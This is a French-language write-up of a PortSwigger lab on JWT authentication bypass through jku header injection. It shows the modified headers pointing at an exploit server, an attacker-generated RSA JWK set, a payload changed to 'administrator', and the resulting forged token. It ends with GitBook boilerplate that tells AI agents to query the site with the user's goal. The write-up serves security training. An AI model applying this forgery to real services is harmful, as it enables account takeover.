> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-via-jku-parameter-injection.md).

# Contournement de l’authentification JWT via injection du paramètre JKU

### Contournement de l'authentification JWT via l'injection de l'en-tête JKU

**Contexte du laboratoire**

Ce laboratoire utilise un mécanisme de gestion de session basé sur JWT. / Le serveur prend en charge le **jku** paramètre dans l'en-tête du JWT, qui indique l'URL à partir de laquelle récupérer la clé publique (JWK) utilisée pour vérifier la signature.

La vulnérabilité est due au fait que le **serveur ne vérifie pas si l'URL fournie dans `jku` appartient à un domaine de confiance**. Il est donc possible de forcer le serveur à récupérer une clé publique contrôlée par l'attaquant.

Objectif :

* Forger un JWT permettant d'accéder à `/admin` panneau d'administration
* Supprimer l'utilisateur **carlos**

Identifiant fourni :

* `wiener : peter`

**JWT initial**

Un JWT valide est récupéré après authentification avec `wiener` utilisateur :

{% code overflow="wrap" %}

```bash
eyJraWQiOiJhMjZmNDUwYy1lOWRjLTRlZTUtODRjOC1lYWQxNWNmNDE2NjkiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0ODI3OSwic3ViIjoid2llbmVyIn0.QdpQA5ISeH9BS1JttLfm9VCOWA28H6-RDgCV59L5KVr3B8qLBXtt6DgQ32eW6mlKldZ8ZWhufcaPEsReqERGdhvgAWrQhruF7awvsGceHFQgxxBqcW3Yd3urPIZzl-S_EdIVaUwxgLkOv9acYUG1h9GJqgSFIyAjB8JuxQSHSHItzJSTHVMNQ9ffYDOb3fOQW64_LQko2rWUZLRhkG1-JTX3xYA03FOlvbVC4BfXKCBWV-dlrQaeFV8JgrMr-uDKhnJuzD34xFfjav0SXPedTRwMLhnThyFJJzx5OZwSnTUEuqlnipndHvjOhxYX-0OVbqpONwRrd41buEK1EI_HqA
```

{% endcode %}

**Modification de l'en-tête du JWT**

L'attaque consiste à ajouter le **jku** paramètre à l'en-tête pour indiquer une URL publique hébergée sur l'Exploit Server, qui servira de clé JWK contrôlée.

En-tête modifié :

```json
{
    "kid": "a26f450c-e9dc-4ee5-84c8-ead15cf41669",
    "alg": "RS256",
    "jku": "https://exploit-0ae10050046bd52081d5b68301ca00be.exploit-server.net"
}
```

**Génération d'une paire de clés RSA**

Une nouvelle paire de clés RSA est générée du côté de l'attaquant.

<figure><img src="/files/2c14f353721ec4035623b26abb4ad77fa21a4f2d" alt=""><figcaption></figcaption></figure>

La clé publique est convertie au format JWK afin d'être servie par l'Exploit Server.

<figure><img src="/files/c78734836ce07485e5c0088beaa3a4c1733e5609" alt=""><figcaption></figcaption></figure>

Contenu JWK public :

```json
{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
    "n": "0FSyZZCfIph7feIKpr08HrjTGt-X4N1V8LcH_Sr9hHGPuOfHleZ381WuI6AgBee2VFNtJkUJ9QUJnh3I-CcQmuvFH4HqbJ2bqw0ywVHXDnPyctPYCDQyIkBC13Foe_R7z0nmR1eByk4DM0DFJX2YqO96Q6ND8ZmjtbI6ODvzl6ZCN6pmFK9tGwGzlGeNxauIliRH3vrdvtp1_Klz104RzYfxltzPC21EIQIpdWFoTpwzW7TFZBTiL-_6OYbP1X-GxpiQ2V-TTpOGfRcu3upetF1EE3rJvz4mh65EXIIQVCRIAafIwlVGiwTjL55vCXvc6JggG4Nf6nJgcD9PaY6p0Q"
}
```

**Hébergement de la JWK sur l'Exploit Server**

La JWK est affichée sous forme d'ensemble de clés, comme attendu par le serveur cible :

```json
{
   "keys": [
{
    "kty": "RSA",
    "e": "AQAB",
    "kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
    "n": "0FSyZZCfIph7feIKpr08HrjTGt-X4N1V8LcH_Sr9hHGPuOfHleZ381WuI6AgBee2VFNtJkUJ9QUJnh3I-CcQmuvFH4HqbJ2bqw0ywVHXDnPyctPYCDQyIkBC13Foe_R7z0nmR1eByk4DM0DFJX2YqO96Q6ND8ZmjtbI6ODvzl6ZCN6pmFK9tGwGzlGeNxauIliRH3vrdvtp1_Klz104RzYfxltzPC21EIQIpdWFoTpwzW7TFZBTiL-_6OYbP1X-GxpiQ2V-TTpOGfRcu3upetF1EE3rJvz4mh65EXIIQVCRIAafIwlVGiwTjL55vCXvc6JggG4Nf6nJgcD9PaY6p0Q"
}
   ]
}
```

<figure><img src="/files/289dc7c99be7c731a3b7800054b777d0f12aa556" alt=""><figcaption></figcaption></figure>

**En-tête final du JWT**

Le **kid** le champ est mis à jour pour correspondre à celui de la JWK hébergée, et le **jku** pointe vers l'URL exacte du fichier exposé :

```json
{
    "kid": "0d619b98-b4a6-4252-9d3e-f3705433634b",
    "alg": "RS256",
    "jku": "https://exploit-0ae10050046bd52081d5b68301ca00be.exploit-server.net/exploit"
}
```

<figure><img src="/files/64fc7458c7cf9af036444340cc69198e548bd688" alt=""><figcaption></figcaption></figure>

**Signature et élévation de privilèges**

Le JWT est signé avec la **clé privée** correspondant à la clé publique affichée.

<figure><img src="/files/061d05ccd712005c307665734bf6ecee5751028d" alt="" width="563"><figcaption></figcaption></figure>

La charge utile est modifiée pour usurper un utilisateur administrateur :

```json
{
  "iss": "portswigger",
  "exp": 1767548841,
  "sub": "administrator"
}
```

JWT final :

```bash
eyJraWQiOiIwZDYxOWI5OC1iNGE2LTQyNTItOWQzZS1mMzcwNTQzMzYzNGIiLCJhbGciOiJSUzI1NiIsImprdSI6Imh0dHBzOi8vZXhwbG9pdC0wYWUxMDA1MDA0NmJkNTIwODFkNWI2ODMwMWNhMDBiZS5leHBsb2l0LXNlcnZlci5uZXQvZXhwbG9pdCJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NzU0ODg0MSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.QWCX9x4q3baQllVGwrVewi5-lPXFEvLltEn9hm3mwSz4XjDbBXABtUL5bB5bUL4_kE1tQrbgG5JFwsHocV6pew8hvm3mZ-0yspsr7bc-qD7RYBU8jecC2wX2R8TflGtKgIKf9KwWPLxRDWkYPOBIbwhSp5HTAbe9Ns4ZZVUz7_nIcypKHyJBOSXSCLHQI7HUrkll3ekHiR9a-n7gSeVkJ3-qnrMBDibasazlChaoxVaLRQGsFrEX7xFKA1eYYM1SxnhfHSO6Q-txUmdOtzAMEdlsSAOPIyJ5aRvIkSDBwHNzl8ouEl5c-qEjmEfShgUuNY6HIERn96HRIj5xGQgIGg
```

<figure><img src="/files/887e7f9a4cbee8dac018ca163ddb632385f32f2f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/jwt/jwt-authentication-bypass-via-jku-parameter-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
